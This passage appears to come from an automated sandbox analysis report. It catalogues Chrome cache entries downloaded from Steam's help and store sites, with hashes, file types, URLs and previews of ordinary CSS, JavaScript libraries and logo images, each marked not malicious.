SHA-512:	B49179256563EA8DCBF6855548E431C5B4B1DBB42BCA527627F49CF4428EF5375E96A554EC672D7990A9C2D671CB42EE438D696C5395EC54A2F2E4D08B965B9B
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="ru">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>......... Steam</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs" rel="stylesheet" type="text/css" >.<l

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.358694969562842
Encrypted:	false
SSDEEP:	3:mSpzB/CNCkuS1vY:mSpziuS1A
MD5:	E217090B911CC13ABEDBEB688CA1A554
SHA1:	CB009E959AB4F54411454EF6EB16E67D01580C04
SHA-256:	3F401608D8945004C0B649400BAD5E54956C6749DCA05BFEA15C7F2CBA996761
SHA-512:	3E47A536E0A758292CC3033B6706377F030B6ADD7ACBBD62AF5C145CE70094EA25CBD6B899F2BE557DE6B7899C50E7E41B331448F20688BEF77B91A70AE5E768
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSHgn58yjDwGuX3xIFDcpVNukSBQ1nZ7P-EgUNccm79Q==?alt=proto
Preview:	ChsKBw3KVTbpGgAKBw1nZ7P+GgAKBw1xybv1GgA=

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Algol 68 source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3276
Entropy (8bit):	5.553388243206585
Encrypted:	false
SSDEEP:	96:gVRrYJuRrYJMu31/3z5SY2ZVba/vlWmij:gfrsWrsMu31/3dSY2jkl4j
MD5:	4522A2252222088E18051FC411359093
SHA1:	FBFD96E45FCFE5E7CE7F4043407499FB0E960807
SHA-256:	6F8426105449E000CC11B5C2670677F090023C11C7D65BAF4C13C10C3A829141
SHA-512:	A135534B1766CF4CC538E28D6F6EF517A946E62D0D18DB3007071F8F1B6BBE4979F2CD4501AA88019B24B039A0A02932139B8E4C31B109DB41C78A02F6595BCA
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/javascript/base64-binary.js?v=RSKiJSIiCI4Y
Preview:	../..Copyright (c) 2011, Daniel Guerrero..All rights reserved.....Redistribution and use in source and binary forms, with or without..modification, are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above copyright.. notice, this list of conditions and the following disclaimer... * Redistributions in binary form must reproduce the above copyright.. notice, this list of conditions and the following disclaimer in the.. documentation and/or other materials provided with the distribution.....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND..ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED..WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE..DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY..DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES..(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUB

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3355
Entropy (8bit):	5.396115949174596
Encrypted:	false
SSDEEP:	48:jrE1CT8Pi/CCsj5x9cHcYVGwGnrGdrtjcd/UfxGD/CtByLF3vDD+FQyB8pCkP:IawCp8E/0Ec+ByBv+FQyCzP
MD5:	9AF8AAEF60A740E8062CCDA7EFE7C179
SHA1:	1D72FFFE2679D8E55F35C1CEEFA29261C55E0A43
SHA-256:	7173A15A85C666C409667810A53ED83FE73505988FF8496EE65C8EE03D683A6A
SHA-512:	349F5F3958A19BE9B83DE6A18F22786B0C9D79815ABA89F721EE4A2C2DA66098F24794AEA023D84E645F17BCB7A9A5E65EAC331C79530010AA08707329F32114
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/crypto/rsa.js
Preview:	var RSAPublicKey = function($modulus_hex, $encryptionExponent_hex) {...this.modulus = new BigInteger( $modulus_hex, 16);...this.encryptionExponent = new BigInteger( $encryptionExponent_hex, 16);..};....var Base64 = {...base64: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",...encode: function($input) {....if (!$input) {.....return false;....}....var $output = "";....var $chr1, $chr2, $chr3;....var $enc1, $enc2, $enc3, $enc4;....var $i = 0;....do {.....$chr1 = $input.charCodeAt($i++);.....$chr2 = $input.charCodeAt($i++);.....$chr3 = $input.charCodeAt($i++);.....$enc1 = $chr1 >> 2;.....$enc2 = (($chr1 & 3) << 4) \| ($chr2 >> 4);.....$enc3 = (($chr2 & 15) << 2) \| ($chr3 >> 6);.....$enc4 = $chr3 & 63;.....if (isNaN($chr2)) $enc3 = $enc4 = 64;.....else if (isNaN($chr3)) $enc4 = 64;.....$output += this.base64.charAt($enc1) + this.base64.charAt($enc2) + this.base64.charAt($enc3) + this.base64.charAt($enc4);....} while ($i < $input.length);....return $output;...},...decode:

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	2175818
Entropy (8bit):	5.562473572476677
Encrypted:	false
SSDEEP:	12288:FoNNy6NEjLDgfHxyvXoW1hsMpta8vlrgAdW718HmDLuNg/dt7muR0Pq:FANyvDg0hsMHaSrg6WxLuNCdtKuR0Pq
MD5:	694562C2AD40E74A8B87C3120B08A1FA
SHA1:	27F264BD235654B8AF75E8F9D40C5EADBF2E3DEA
SHA-256:	792F51AA46A8493DC87FD2956E7B1F3D70D8B242197CE80A9086795B4C6A7992
SHA-512:	4EF828B3870C2E9B40594E2179205D84C2DBC1B405C5D543BE0DFBA323588DED4832D690609D16070633496D3FC5741F77D6A8E6E64C80EED76213814A67D741
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/main.js?v=aUViwq1A50qL&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8792],{53955:(e,t,r)=>{var i={"./shoppingcart_brazilian.json":[46865,4977],"./shoppingcart_bulgarian.json":[62810,9050],"./shoppingcart_czech.json":[16052,6771],"./shoppingcart_danish.json":[83976,4630],"./shoppingcart_dutch.json":[85333,8709],"./shoppingcart_english.json":[95811,311],"./shoppingcart_finnish.json":[81676,2964],"./shoppingcart_french.json":[11481,3679],"./shoppingcart_german.json":[91187,2753],"./shoppingcart_greek.json":[89155,5579],"./shoppingcart_hungarian.json":[74150,9326],"./shoppingcart_indonesian.json":[39761,9935],"./shoppingcart_italian.json":[82411,2095],"./shoppingcart_japanese.json":[38374,1192],"./shoppingcart_koreana.json":[59552,2184],"./shoppingcart_latam.json":[32464,6592],"./shoppingcart_norwegian.json":[93987,3167],"./shoppingcart

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64431)
Category:	dropped
Size (bytes):	170681
Entropy (8bit):	5.649685917515725
Encrypted:	false
SSDEEP:	3072:92u8UVOyWhouuQAGt7xZtsbMnBBsb0vaROMMNefopab0ErWlAuROMMNefopab0qr:92u8YOvPuktxYROMMNefopab0ErWlAu1
MD5:	B52A187C21D0264BC01F11DF5E8DBC40
SHA1:	5DECA53E04C9A303B79F0BAF6EA8F832D3795BA8
SHA-256:	101204743A44875D6879E53352804F2D8442832B0E33A76C64641FA932E2C88B
SHA-512:	FAC8D5B2CDE067E3F1A8E8534F6A53546AF73A0D7BF95B893863E7EF6CE019B7B878884C7AC6A5F4A93B81FAA6789D6A687E21BE646412F26A4ED2B0BEB06FE3
Malicious:	false
Reputation:	low
Preview:	(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const o of i)if(o.type==="childList")for(const c of o.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const o={};return i.integrity&&(o.integrity=i.integrity),i.referrerPolicy&&(o.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?o.credentials="include":i.crossOrigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function r(i){if(i.ep)return;i.ep=!0;const o=n(i);fetch(i.href,o)}})();function lt(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var ut={exports:{}},ke={};const Ot=React;/*. @license React. * react-jsx-runtime.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licens

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	57200
Entropy (8bit):	5.243682287813706
Encrypted:	false
SSDEEP:	768:jHHithZY2ucy8vQfVYvArYRaeNBJk0XHBkwQ+JOJSk3acbAHEvaSlEP04rn/xENj:nf8JXNrhBcRTUEFwiKYfBn
MD5:	BB61486A27AD5FA68555BBE8A3ADA655
SHA1:	8BFA2068A12FA536B8F230D25AA690963AA38CEE
SHA-256:	2772850B98923D3DCDE7942C03C76F088CBA2F9F50D0AC69A83A45BD1D6BE430
SHA-512:	85A144B5DF73DB1B4C311C3B376B464B915AA7866C0550D7CDD4BA94C7934D40D0CE2267B49F4460E375892448CAA89D9C31D056025AD4D567BADABE09664D62
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=u2FIaietX6aF&l=english
Preview:	/* CSS Document /....body.v6 {....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal /......}.....tooltip_q_ctn {.. background: rgba(255,255,255,0.4);.. color: white;.. border-radius: 10px;.. font-size: 11px;.. padding: 1px 5px 2px 5px;.. cursor: default;..}...tooltip_q_ctn:hover {.. background: rgba(255,255,255,0.5);..}....body.v6.checkout .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -50px;..}....body.v6.checkout_microtxn .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -10px;..}....body.v6.cart_page h4 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal */.......font-weight: normal;...color: #c7d5e0;..}....body.v6.login .rightcol h2 {...margin-top: 0px;..}..body.v6.login .rightcol .spotlight_block {...margin-bottom: 25px;..}....#checkout_review_cart_area {...margin-top: 56px;..}....#payment_info_tab .checkout_content .payment_info_form_area {...background: rgba( 0, 0, 0, 0.2 );...paddi

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	17975
Entropy (8bit):	5.234304596583918
Encrypted:	false
SSDEEP:	384:gWNE9NzVI6c4rNORWRyWKPfntY8XiYXUS2qk2VfVQEOHY46ZHnUI7Z0wTmEqNXMi:gWC99VI6c4eWRyJPfnSpYXUS2qk2VfmN
MD5:	2FDE91E2F3BB85F3A585C1982CEC5212
SHA1:	A96CCAE29A05FE0FC0416DFBCCFBE7D0A8BE2749
SHA-256:	B8C231EB652EA06DBB97709A6382739CEEE11EB3861F2D801C0B3989A936FA4E
SHA-512:	268E41D029D4A28BC31E0D36A1143CD17F2F4BDCBFF23FA1339A6D18DC4EE7D67A952D5ED34E609A0FEE2AD030E3B3D6C21283E3611C4679A7A113A889E26280
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/login.css?v=L96R4vO7hfOl&l=english
Preview:	...login_modal {...max-width: 502px;...font-family: Arial, Helvetica, sans-serif;...font-size: 12px;..}.....auth_modal_h1 {...color: #67c1f5;...font-size: 24px;...font-weight: normal;..}.....auth_button_h3 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; /* normal */.......font-size: 22px;...font-weight: normal;...color: #ffffff;..}.....auth_button_h5 {...font-size: 13px;...color: #66C0F4;...font-weight: bold;..}.....auth_message_area, .twofactorauth_message_area {...position: relative;...padding-left: 70px;...min-height: 92px;..}.....auth_icon {...position: absolute;...top: 6px;...left: 0px;...width: 67px;...height: 48px;.....background-image: url('https://store.akamai.steamstatic.com/public/shared/images/login/emailauth_icons2.png');...background-repeat: no-repeat;..}.....auth_icon.auth_icon_trash {...background-position: center 0px;..}.....auth_icon.auth_icon_key {...background-position: center -48px;..}.....auth_icon.auth_icon_lock {...background-position: cent

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65339), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	65881
Entropy (8bit):	4.994268081658709
Encrypted:	false
SSDEEP:	1536:B7aiXrClRYuLGh4iS72wI7CsrpzAuIRmfQ+:9klR7LGh4iS77I7CsmuIRmfQ+
MD5:	47619749A77F1358844215EBF0BD88EB
SHA1:	E1273E426CF013D92378F658BE99F72593559A40
SHA-256:	6323D60A28DCFE5E071C30BF2F4EE94BD3ABA6E7D771F3BC715F3E65626D15A5
SHA-512:	9023246B2914C57C30DBA6410373BE1C2170FE99318D1FFC26B26CC351E25B1110D0B75B7083D0FED258A1F3F45CE1BF045AF3AEDB3D3B6999A9D1B7503B4834
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/main_english-json.js?contenthash=4b7b674856a3b07d81fe
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[9188],{67519:e=>{e.exports=JSON.parse('{"language":"english","CuratorAdmin_RSSFeed_title":"Manage my RSS Feeds","CuratorAdmin_RSSFeed_desc":"Setting up RSS feeds allows you to automate the Steam Events and Announcement creation from your existing content management platform. Your content from your site will automatically surface to Steam customers who follow you as News. ","CuratorAdmin_RSSFeed_lang_only":"Feed Language:","CuratorAdmin_Curator_lang_only":"NOTE: The curator is set to %1$s language which is different from the feed language of %2$s. Re-save the feed to update to this language.","CuratorAdmin_RSSFeed_lang":"The language is set on the group to \'%1$s\'. If this is not correct, you can edit the group profile and then re-setup this feed.","Cu

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/logo_steam_footer.png
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
